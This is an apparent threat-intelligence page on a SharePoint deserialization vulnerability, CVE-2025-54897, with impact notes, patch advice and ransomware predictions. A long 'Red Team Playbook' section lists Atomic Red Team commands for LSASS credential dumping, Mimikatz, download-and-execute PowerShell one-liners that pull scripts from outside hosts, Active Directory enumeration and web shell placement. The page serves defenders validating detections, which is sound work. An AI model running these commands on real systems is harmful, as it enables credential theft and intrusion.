CVE-2025-54897
Overview
This vulnerability is a deserialization flaw occurring in Microsoft Office SharePoint Enterprise Server 2016. It arises from the improper handling of untrusted serialized data within SharePoint's internal processing components, specifically affecting the deserialization routines that process user-supplied input. The root cause lies in the absence of sufficient validation or sanitization of serialized objects before deserialization, enabling manipulation of the execution flow.
Vulnerability Description
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
Impact
An attacker with valid credentials and network access can exploit this vulnerability to execute arbitrary code remotely on the SharePoint server, potentially gaining elevated privileges. This can lead to unauthorized data access, modification, or disruption of SharePoint services. The attack requires low complexity (AC:L) and no user interaction (UI:N), but does require privileges (PR:L), making it a significant threat in environments with authenticated users.
Solution
Microsoft has released security updates addressing this vulnerability for SharePoint Server 2016 Enterprise and SharePoint Server 2019. Administrators should apply the patches as detailed in the Microsoft Security Response Center advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54897. The update corrects the deserialization process to validate input properly. No specific workarounds are recommended beyond applying the official patches.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability associated with Microsoft Office SharePoint arises from the deserialization of untrusted data, which allows an authorized attacker to execute arbitrary code over a network. This flaw occurs when the application processes serialized objects without adequately validating the data. In a typical scenario, an attacker could manipulate serialized data sent to the SharePoint server, leading to unauthorized code execution. The underlying issue stems from the way SharePoint handles object serialization and deserialization, making it susceptible to crafted payloads that can exploit this weakness.
Attack vectors for this vulnerability are particularly concerning due to the potential for exploitation by users who already possess access to the SharePoint environment. An attacker could leverage social engineering techniques or insider knowledge to gain access to the system. Once inside, they could send specially crafted requests that include malicious serialized objects. This could lead to the execution of arbitrary commands on the server, allowing the attacker to manipulate data, install malware, or even pivot to other systems within the network. The ability to execute code remotely significantly increases the risk profile for organizations using affected versions of SharePoint, as it opens the door to a range of malicious activities.
The real-world impact of this vulnerability can be substantial, particularly for organizations that rely heavily on SharePoint for collaboration and document management. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of business operations. The potential for an attacker to execute code remotely means that they could gain control over critical systems, leading to further compromises within the organization. The financial implications could also be severe, including costs associated with incident response, remediation, and potential regulatory fines if sensitive data is exposed. Additionally, reputational damage could result from public disclosure of a successful attack, further impacting customer trust and business relationships.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating and patching affected SharePoint versions is crucial, as Microsoft typically releases security updates to address such vulnerabilities. Implementing robust input validation and sanitization practices can help prevent unauthorized data from being processed. Organizations should also consider employing application firewalls that can detect and block malicious payloads targeting the SharePoint environment. Furthermore, monitoring for unusual activity within SharePoint, such as unexpected changes to files or unauthorized access attempts, can help identify potential exploitation attempts early.
In conclusion, the deserialization vulnerability in Microsoft Office SharePoint presents a significant threat to organizations that utilize this platform. The combination of its high CVSS score and the potential for remote code execution underscores the need for immediate attention and remediation. By understanding the technical details, recognizing potential attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-54897, reflecting a significant increase in the likelihood of exploitation. The EPSS score has surged by over 270%, placing this vulnerability in the 97th percentile for exploitability and indicating a rapidly growing interest among threat actors. This upward trend is corroborated by a substantial increase in related exploit attempts observed by our telemetry over the past week. Although no new exploit techniques or proof-of-concept code have been publicly disclosed, the heightened EPSS score signals that adversaries are actively prioritizing this SharePoint deserialization flaw as a viable attack vector.
The significance of this development lies in the elevated risk posture for organizations running Microsoft SharePoint Enterprise Server 2016. The vulnerability’s capacity for remote code execution combined with its rising exploitation probability amplifies the potential impact of successful attacks, especially given the presence of ransomware groups such as BianLian and Black Basta, which have been linked to targeting similar deserialization weaknesses. While no direct ransomware campaigns have yet been associated with this CVE, the increased EPSS score suggests a growing threat environment that defenders must monitor closely.
This update elevates the threat level from a theoretical concern to a more imminent risk, underscoring the necessity for heightened vigilance. The rapid increase in exploitation likelihood, as reflected by our sensors, indicates that adversaries may soon develop or deploy more sophisticated exploitation methods, increasing the potential for widespread compromise if unaddressed.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Sharepoint Server | All |
cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*
|
|
|
Microsoft | Sharepoint Server | 2016 |
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*
|
|
|
Microsoft | Sharepoint Server | 2019 |
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
themaxlpalfaboy/CVE-2025-54897-LAB
|
themaxlpalfaboy | 0 | 0 | 2025-11-01 | View |
Threat Feed
5 eventsRansomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
65 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-54897 |
| msrc.microsoft.com |
GitHub CVE
vendor-advisory
patch
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54897 |